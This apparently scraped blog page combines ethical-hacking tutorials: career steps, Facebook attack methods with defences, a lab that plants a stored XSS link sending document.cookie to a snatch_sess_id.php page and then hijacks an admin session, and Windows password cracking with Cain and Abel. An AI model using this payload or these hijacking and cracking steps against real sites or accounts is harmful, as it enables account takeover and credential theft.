10 steps to become a certified ethical hacker

A hacker is basically someone who breaks into computer networks or standalone personal computer systems for the challenge of it or because they want to profit from their innate hacking capabilities. The hacker subculture that has developed among these new-age outlaws is often defined as the computer underground, although as of late it has evolved into a more open society of sorts.

Also Read: How To Hack Android Phone By Android Apps
 

 

How To Become Certified Ethical Hacker ?

Today many businesses and government-related organizations that are serious about their network security, so they hire ethical hackers and penetration testers to help probe and improve their networks, applications, and other computer systems with the ultimate goal of preventing data theft and fraud from that black hat and other hackers.  So you can earn through it by learning the ethical hacking.

 

  How To Become Ethical Hacker (10 Steps):

There are many ways to become an ethical hacker to get certified for that, we have listed the ways below acknowledge you about how the things actually works so you are able to hack it.

Also Read: Top 10 Password Cracking Methods 2016

 

Programming

A programmer or developer knows how to build software and websites and these software or websites may be very important and require better security researches. Role of hacker will be as a security analyst who should find the flaws on the programs or websites and help programmer to make it more secure by testing different attacks on it . Also it is not possible if the hacker don’t have the knowledge of programming . We have already posted some articles that will help you to understand programming and development of certain live projects.

 

Networking

 

 

Today the knowledge of networking is very essential as we daily share a lot of stuff on internet and some data may be shared publicly but some data must be secured like your passwords, Bank information etc. And an ethical hacker must have ability to find out any flaw on the network security and vulnerabilities. And if you are well aware about the working of internet, he/she can figure out most of the problem on network securities.

 

Encryption & DecryptionEncryption & Decryption

 

 

This mainly refers to cryptography, which means how you secure something that is with what methods, like when you want to login in some site you enter the passwords there . Similarly you can use many other ways to encrypt something like OTP (one time password), Fingerprints, Face Detection etc. And when you the best way to encrypt a thing then you must know the decryption method to bypass that securities to become a ethical hacker.

 

DBMS (Database Management System)dbms

This is the another most important thing that you must know as if you know how to create and manage different databases then only you can learn how they can be easily hacked like SQL injection knowledge can’t be get without knowing the SQL.

 

Linux/UNIXlinux unix

 

 

Linux is very much powerful and It’s also free, and 100% open source, meaning anyone can look at each and every line of code in the Linux kernel and patch it when problems arise, means that Linux can be secured not just by a few programmers locked away in some corporate headquarters, but by any user at any time . So this is the best operating system that can choose while learning hacking. And note that most of the hacker use this OS.

 

Code in C Programming Language

C Programming

 

 

C programming is the base of learning UNIX/LINUX as this OS is coded in C programming which makes it the most powerful language as compared to other programming languages. C language was developed by Dennis Ritchie in late 1970’s. To become a hacker, starts beginning with learn C language.

 
 

Learn More Than One Programming Language

 

 

Learn More Than One Programming Language
It is important for a person in the hacking field to learn more than one programming language. There are number of programming language courses available online like C++, Java, Python, Free Hacking eBooks and tutorials etc are easily available online. 

 

Learn More Than One OS (Operating Systems)

 

 

It is essential for a hacker to learn more than one operating system. There are many other Operating systems apart from LINUX/UNIX, Windows, MAC OS, Android, JAVA, Cent  etc. Every system has a loop hole, hacker needs to exploit it.


 

Experiment

 

 

 

After learning some concepts of hacking/cracking, sit and practice them. Setup your own lab for experimental purpose. You need a good computer system to start with as some tools may require powerful processor, RAM etc. Keep on Testing and learning until you breach a system.

 

Continue Learning

 

 

Learning is the key to success in the world of hacking. Continuous learning and practicing will make you the best hacker. Keep yourself updated about security changes and learn about new ways to exploit systems.

The World’s Most Advanced Ethical Hacking and Penetration Testing Program – Certified Ethical Hacker (CEH)

Today this is the world’s most advanced ethical hacking course with 19 of the most current security domains any ethical hacker will ever want to know when they are planning to beef up the information security posture of their organization over the internet and the main goal of this course is to help you master an ethical hacking methodology that can be used in a penetration testing or ethical hacking situation on any security. There you will walk out the door with hacking skills that are highly in demand, as well as the internationally recognized certified ethical hacker certification.

 

HOW HACKER HACK FACEBOOK & HOW TO STOP THEM

Facebook is, undoubtedly, the most popular social networking website with more than 500 million active users. Due to its popularity, many hackers (or should I say crackers?) are actively involved in hacking Facebook accounts of unsuspecting users. This article outlines the many strategies that such hackers use to gain access to Facebook accounts of hundreds of users each day and how you can stop them from hacking your account.

Facebook is one of the prime target of hackers!

Email Address Hack

I have always been puzzled by Facebook’s leniency in this matter. All a hacker needs to do is know your name and he will be conveniently shown your email address at your profile. How easily a hacker can then hack your Facebook account (and everything else associated with that email id) if he ‘guesses’ your password (if you use a weak password) or answers your security question! This is something I hope Facebook improves on quickly. Until Facebook does so, here are some tricks you can use to protect yourself from this vulnerability.

How to safeguard your Email Address?
Just follow these steps:-

1. 1. Hide your Email Address from everyone by going to Edit Profile>Contact Information>Clicking on the icon beside your email address> checking ‘Only Me’.
   2. Change your primary email address to a one that is only known to you by going to Account Settings>Email> and changing your primary email to the new one (known only to you) and removing your previous email address.
   3. For additional security, when in Account Settings, check ‘Secure browsing’ and ‘Send me an email when a new computer or mobile device logs into this account’ and click Save.

Phishing

Phishing is one of the easiest ways to trick users into giving out their login credentials. All a hacker does is setup a webpage similar in design to that of the Facebook homepage, attach a server sided script to track the username and password entered and store it in a log. Sending people emails stating that someone tagged a photo of them on Facebook in the same format as Facebook and giving a link below to the phishing website further reduces the chances of it being detected as a fake. Sometimes, spam Facebook apps, like those promising to tell who viewed your Facebook profile, automatically post links to phishing websites. A new trend amongst phishers is creating Facebook look-a-like widgets for stealing user’s login credentials.

How to prevent yourself from being phished?
At all costs, avoid clicking on suspicious links. Moreover, always check the URL in the address bar before signing in. Avoid logging in through various “Facebook widgets” offered by websites and blogs. Instead, use Facebook’s homepage to sign in. Always try to use Safe Search while searching. 

Keylogging through Keyloggers

Keylogger is a type of computer virus that tracks key strokes. Keyloggers can be installed remotely on a computer system by a cracker to record all the activity that is going on the victim’s computer. Keylogging gets more easy if the hacker has physical access to the victim’s computer.

How to stop keyloggers?
Install a good antivirus and update it frequently. Do not click on suspicious links and avoid downloading illegal software. Also, avoid installing free toolbars and other such spam software. Always scan third-person’s flash and pen drives before using them on your computer.

Social Engineering

Social engineering involves using any trick to fool the user into making himself vulnerable to exploits. This could involve anything from sending spoof emails, pretending to be from Facebook, telling you to change your password to 12345678 to a hacker maliciously getting out the answer to your security question in a friendly chat or discussion.

How to prevent yourself from being socially engineered?
Stay aware during chats and discussions. Use a tough security question, preferably one whose answer you would never disclose to anyone. Moreover, Facebook, or any other company for that matter, will never ask you to change your password to 12345678 or do something as silly as asking you to send out your login details to prove that you are an active user. Always think before taking actions and your e-life on Facebook will be safe from hackers looking to hack Facebook accounts.

HOW TO HACK A WEBSITE?

More people have access to the internet than ever before. This has prompted many organizations to develop web based applications that users can use online to interact with the organization. Poorly written code for web applications can be exploited to gain unauthorized access to sensitive data and web servers.

In this article, we will introduce you to web applications hacking techniques and the counter measures you can put in place to protect against such attacks.

What is a web application? What are Web Threats?

A web application (aka website) is an application based on the client-server model. The server provides the database access and the business logic. It is hosted on a web server. The client application runs on the client web browser. Web applications are usually written in languages such as Java, C# and VB.Net, PHP, ColdFusion Markup Language etc. the database engines used in web applications include MySQL, MS SQL Server, PostgreSQL, SQLite etc.

Most web applications are hosted on public servers accessible via the internet. This makes them vulnerable to attacks due to easy accessibility. The following are common web application threats.

• SQL Injection – the goal of this threat could be to bypass login algorithms, sabotage the data etc.
• Denial of Service Attacks– the goal of this threat could be to deny legitimate users access to the resource
• Cross Site Scripting XSS– the goal of this threat could be to inject code that can be executed on the client side browser.
• Cookie/Session Poisoning– the goal of this threat is to modify cookies/session data by an attacker to gain unauthorized access.
• Form tempering– the goal of this threat is to modify form data such as prices in e-commerce applications so that the attacker can get items at reduced prices.
• Code Injection – the goal of this threat is to inject code such as PHP, python etc that can be executed on the server. The code can install backdoors, reveal sensitive information etc.
• Defacement– the goal of this threat is to modify the page been displayed on a website and redirecting all page requests to a single page that contains the attacker’s message.

How to protect your Website against hacks ?

An organization can adopt the following policy to protect itself against web server attacks.

• SQL Injection– sanitizing and validating user parameters before submitting them to the database for processing can help reduce the chances of been attacked via SQL Injection. Database engines such as MS SQL Server, MySQL etc support parameters and prepared statements. They are much safer than traditional SQL statements
• Denial of Service Attacks – firewalls can be used to drop traffic from suspicious IP address if the attack is a simple DoS. Proper configuration of networks and Intrusion Detection System can also help reduce the chances of a DoS attack been successful.
• Cross Site Scripting – validating and sanitizing headers, parameters passed via the URL, form parameters and hidden values can help reduce XSS attacks.
• Cookie/Session Poisoning– this can be prevented by encrypting the contents of the cookies, timing out the cookies after some time, associating the cookies with the client IP address that was used to create them.
• Form tempering – this can be prevented by validating and verifying the user input before processing it.
• Code Injection - this can be prevented by treating all parameters as data rather than executable code. Sanitization and validation can be used to implement this.
• Defacement – a good web application development security policy should ensure that it seals the commonly used vulnerabilities to access the web server. This can be proper configuration of the operating system, web server software and best security practices when developing web applications.

Hacking Activity: Hack a Website

In this practical scenario, we are going to hijack the user session of the web application located atwww.techpanda.org. We will use cross site scripting to read the cookie session id then use it to impersonate a legitimate user session.

The assumption made is that the attacker has access to the web application and he would like to hijack the sessions of other users that use the same application. The goal of this attack could be to gain admin access to the web application assuming the attacker’s access account is a limited one.

Getting started

• Open http://www.techpanda.org/
• For practice purposes, it is strongly recommended to gain access using SQL Injection. Refer to this article for more information on how to do that.
• The login email is admin@google.com, the password is Password2010
• If you have logged in successfully, then you will get the following dashboard

• Click on Add New Contact
• Enter the following as the first name

<a href=# onclick=\"document.location=\'http://techpanda.org/snatch_sess_id.php?c=\'+escape\(document.cookie\)\;\">Dark</a>

HERE,

The above code uses JavaScript. It adds a hyperlink with an onclick event. When the unsuspecting user clicks the link, the event retrieves the PHP cookie session ID and sends it to the snatch_sess_id.php page together with the session id in the URL

• Enter the remaining details as shown below
• Click on Save Changes

• Your dashboard will now look like the following screen

• Since the cross site script code is stored in the database, it will be loaded everytime the users with access rights login
• Let’s suppose the administrator logins and clicks on the hyperlink that says Dark
• He/she will get the window with the session id showing in the URL

Note: the script could be sending the value to some remote server where the PHPSESSID is stored then the user redirected back to the website as if nothing happened.

The PHPSESSID is board and it is the part that we are interested in.

Note: the value you get may be different from the one in this tutorial but the concept is the same

Session Impersonation using Firefox and Tamper Data add-on

The flowchart below shows the steps that you must take in order to successfully complete this exercise.

• You will need Firefox web browser for this section and Tamper Data add-on
• Open Firefox and install the add as shown in the diagrams below

• Search for tamper data then click on install as shown above

• Click on Accept and Install…

• Click on Restart now when the installation completes
• Enable the menu bar in Firefox if it is not shown

• Click on tools menu then select Tamper Data as shown below

• You will get the following window.  Note: If the windows is not empty, hit the clear button

<script type="text/javascript"> google_ad_client = "6313126167938015"; google_ad_host = "6313126167938015"; google_ad_width =300; google_ad_height =600; google_ad_type = "text_image"; google_color_border = "FFFFFF"; google_color_bg = "ffffff"; google_color_link = "0000ff"; google_color_text = "000000"; google_color_url = "0088000"; google_page_url =  "Website URL"//--></script><script type="text/javascript" src="http://hackabhijit.blogspot.com pagead2.googlesyndication.com/pagead/show_ads.js"></script>

• Click on Start Tamper menu
• Switch back to Firefox web browser, type http://www.techpanda.org/dashboard.php then press the enter key to load the page
• You will get the following pop up from Tamper Data

• The pop up window has three (3) options. The Tamper option allows you to modify the HTTP header information before it is submitted to the server.
• Click on it
• You will get the following window

• Copy the PHP session ID you copied from the attack URL and paste it after the equal sign. Your value should now look like this

PHPSESSID=2DVLTIPP2N8LDBN11B2RA76LM2

• Click on OK button
• You will get the Tamper data popup window again

• Uncheck the checkbox that asks Continue Tampering?
• Click on submit button when done
• You should be able to see the dashboard as shown below

Note: we did not login, we impersonated a login session using the PHPSESSID value we retrieved using cross site scripting

Summary

• A web application is based on the server-client model. The client side uses the web browser to access the resources on the server.
• Web applications are usually accessible over the internet. This makes them vulnerable to attacks.
• Web application threats include SQL injection, Code Injection, XSS, Defacement, Cookie poisoning etc.
• A good security policy when developing web applications can help make them secure.

HOW TO CRACK PASSWORD OF AN APPLICATION

Information is a valuable resource. It needs to be accessed and shared with legitimate people. Towards that end, access to information is usually protected via the use of authentication systems. Password cracking is the process of attempting to gain un-authorized access to restricted systems using common passwords or algorithms that guess passwords.

In this article, we will introduce you to the common password cracking techniques and the counter measures you can implement to protect systems against such attacks.

What is password cracking?

Password cracking is the art of obtaining the correct password that gives access to a system protected by an authentication method. Password cracking employs a number of techniques to achieve its goals. The cracking process can involve either comparing stored passwords against word list or using algorithms to generate passwords that match.

What is password strength?

Password strength is the measure of a password’s efficiency to resist password cracking attacks. The strength of a password is determined by;

• Length: the number of characters the password contains.
• Complexity: does it use a combination of letters, numbers and symbol?
• Unpredictability: is it something that can be guessed easily by an attacker?

Let’s now look at a practical example. We will use three passwords namely

1.  password

2.  password1

3.  #password1$

 For this example, we will use the password strength indicator of Cpanel when creating passwords. The images below show the password strengths of each of the above listed passwords.

Note: the password used is password the strength is 1 and it’s very weak.

Note: the password used is password1 the strength is 28 and it’s still weak.

Note: The password used is #password1$ the strength is 60 and it’s strong.

The higher the strength number, better the password.

Let’s suppose that we have to store our above passwords using md5 encryption. We will use an onlinemd5convertor to convert our passwords into md5 hashes.

 The table below shows the password hashes

Password	MD5 Hash	Cpanel Strength Indicator
password	5f4dcc3b5aa765d61d8327deb882cf99	1
password1	7c6a180b36896a0a8c02787eeafb0e4c	28
#password1$	29e08fb7103c327d68327f23d8d9256c	60

We will now use http://www.md5this.com/ to crack the above hashes. The images below show the password cracking results for the above passwords.

As you can see from the above results, we managed to crack the first and second passwords that had lower strength numbers. We didn’t manage to crack the third password which was longer, complex and unpredictable. It had a higher strength number.

Password cracking techniques

There are a number of techniques that can be used to crack passwords. We will describe the most commonly used ones below;

• Dictionary attack– This method involves the use of a wordlist to compare against user passwords.
• Brute force attack– This method is similar to the dictionary attack. Brute force attacks use algorithms that combine alpha-numeric characters and symbols to come up with passwords for the attack. For example, a password of the value “password” can also be tried as p@$$word using the brute force attack.
• Rainbow table attack– This method uses pre-computed hashes. Let’s assume that we have database which stores passwords as md5 hashes. We can create another  database that has md5 hashes of commonly used passwords. We can then compare the password hash we have against the stored hashes in the database. If a match is found then we have the password.
• Guess– As the name suggests, this method involves guessing. Passwords such as qwerty, password, admin etc. are commonly used or set as default passwords. If they have not been changed or if the user is careless when selecting passwords, then they can be easily compromised.
• Spidering– Most organizations use passwords that contain company information. This information can be found on company websites, social media such as facebook, twitter etc. Spidering gathers information from these sources to come up with word lists. The word list is then used to perform dictionary and brute force attacks.

Spidering sample dictionary attack wordlist

1976 <founder birth year>

smith jones <founder name>

acme <company name/initials>

built|to|last <words in company vision/mission>

golfing|chess|soccer <founders hobbies

Password cracking tool

These are software programs that are used to crack user passwords. We already looked at a similar tool in the above example on password strengths. The website www.md5this.com uses a rainbow table to crack passwords. We will now look at some of the commonly used tools

John the Ripper

John the Ripper uses the command prompt to crack passwords. This makes it suitable for advanced users who are comfortable working with commands. It uses to wordlist to crack passwords. The program is free but the word list has to be bought. It has free alternative wordlists that you can use. Visit the product websitehttp://www.openwall.com/john/ for more information and how to use it.

Cain & Abel

Cain & Abel runs on windows. It is used to recover passwords for user accounts, recovery of Microsoft Access passwords; networking sniffing etc. Unlike John the ripper, Cain & Abel uses a graphic user interface. It is very common among newbies and script kiddies because of its simplicity of use. Visit the product websitehttp://www.oxid.it/cain.html for more information and how to use it.

Ophcrack

Ophcrack is a cross platform windows password cracker that uses rainbow tables to crack passwords. It runs on windows, Linux and Mac OS. It also has a module for brute force attacks among other features. Visit the product website http://ophcrack.sourceforge.net/  for more information and how to use it.

Password Cracking Counter Measures

• An organization can use the following methods to reduce the chances of the passwords been cracked
• Avoid short and easily predicable passwords
• Avoid using passwords with predictable patterns such as 11552266.
• Passwords stored in the database must always be encrypted. For md5 encryptions, its better to salt the password hashes before storing them. Salting involves adding some word to the provided password before creating the hash.
• Most registration system have password strength indicators, organizations must adopt policies that favor high password strength numbers.

Hacking Activity: Hack Now!

In this practical scenario, we are going to crack a windows account with a simple password. Windows uses NTLM hashes to encrypt passwords. We will use the NTLM cracker tool in Cain and Abel to do that.

Cain and Abel cracker can be used to crack passwords using;

• Dictionary attack
• Brute force
• Cryptanalysis

We will use the dictionary attack in this example. You will need to download the dictionary attack wordlist herehttp://xato.net/files/10k%20most%20common.zip

For this demonstration, we have created an account called Accounts with the password qwerty on windows 7.

Password cracking steps

• Open Cain and Abel, you will get the following main screen

• Make sure the cracker tab is selected as shown above
• Click on the add button on the toolbar.

• The following dialog window will appear

• The local user accounts will be displayed as follows. Note the results shown will be of the user accounts on your local machine.

• Right click on the account you want to crack. For this tutorial, we will  use  Accounts as the user account.

• The following screen will appear

• Right click on the dictionary section and select Add to list menu as shown above
• Browse to the 10k most common.txt file that you just downloaded

• Click on start button
• If the user used a simple password like qwerty, then you should be able to get the following results.

• Note: the time taken to crack the password depends on the password strength, complexity and processing power of your machine.
• If the password is not cracked using dictionary attack, you can try brute force or cryptanalysis attacks.

Summary

• Password cracking is the art of recovering stored or transmitted passwords.
• Password strength is determined by the length, complexity and unpredictability of a password value.
• Common password techniques include dictionary attacks, brute force, rainbow tables, spidering and cracking.
• Password cracking tools simplify the process of cracking passwords.